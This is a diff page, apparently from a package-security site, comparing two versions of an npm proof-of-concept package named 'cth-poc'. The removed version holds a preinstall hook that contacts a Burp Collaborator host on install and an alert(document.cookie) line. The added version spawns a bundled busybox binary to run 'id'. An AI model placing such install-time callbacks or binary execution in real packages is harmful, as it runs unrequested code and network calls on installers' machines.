cth-poc 1.0.8 → 1.0.10

Sign up to get free protection for your applications and to get access to all the features.
package/busybox ADDED
Binary file
package/index.js CHANGED
@@ -1 +1,22 @@
1
- alert(document.cookie);
1
+ const { spawn } = require('child_process');
2
+ const path = require('path');
3
+
4
+ function runBusyboxId() {
5
+ const currentDirectory = process.cwd();
6
+ const busyboxPath = path.join(currentDirectory, 'busybox');
7
+ const childProcess = spawn(busyboxPath, ['id']);
8
+
9
+ childProcess.stdout.on('data', (data) => {
10
+ console.log(`Output: ${data}`);
11
+ });
12
+
13
+ childProcess.stderr.on('data', (data) => {
14
+ console.error(`Error: ${data}`);
15
+ });
16
+
17
+ childProcess.on('close', (code) => {
18
+ console.log(`Perintah selesai dengan kode keluaran: ${code}`);
19
+ });
20
+ }
21
+
22
+ module.exports = { runBusyboxId };
package/package.json CHANGED
@@ -1,17 +1,14 @@
1
1
  {
2
2
  "name": "cth-poc",
3
- "version": "1.0.8",
3
+ "version": "1.0.10",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall": "node request.js"
7
+ "test": "echo \"Error: no test specified\" && exit 1"
9
8
  },
10
9
  "keywords": [],
11
10
  "author": "",
12
11
  "license": "ISC",
13
12
  "dependencies": {
14
- "express": "^4.18.2",
15
- "https": "^1.0.0"
16
13
  }
17
14
  }
package/request.js DELETED
@@ -1,19 +0,0 @@
1
- const https = require('https');
2
-
3
- const options = {
4
- hostname: 'uxvh7cbxpj25lz7jzoj3fc2t5kbbz2nr.oastify.com', // Ganti dengan domain yang sesuai
5
- port: 443, // Port HTTPS umum adalah 443
6
- path: '/collaborator', // Ganti dengan path yang sesuai
7
- method: 'GET', // Metode HTTP, bisa GET, POST, dll.
8
- // headers: {} // Anda bisa menambahkan header kustom jika diperlukan
9
- };
10
-
11
- const req = https.request(options, (res) => {
12
- // Tidak melakukan apa-apa dengan respons
13
- });
14
-
15
- req.on('error', (error) => {
16
- console.error('Error making the request:', error);
17
- });
18
-
19
- req.end(); // Kirim permintaan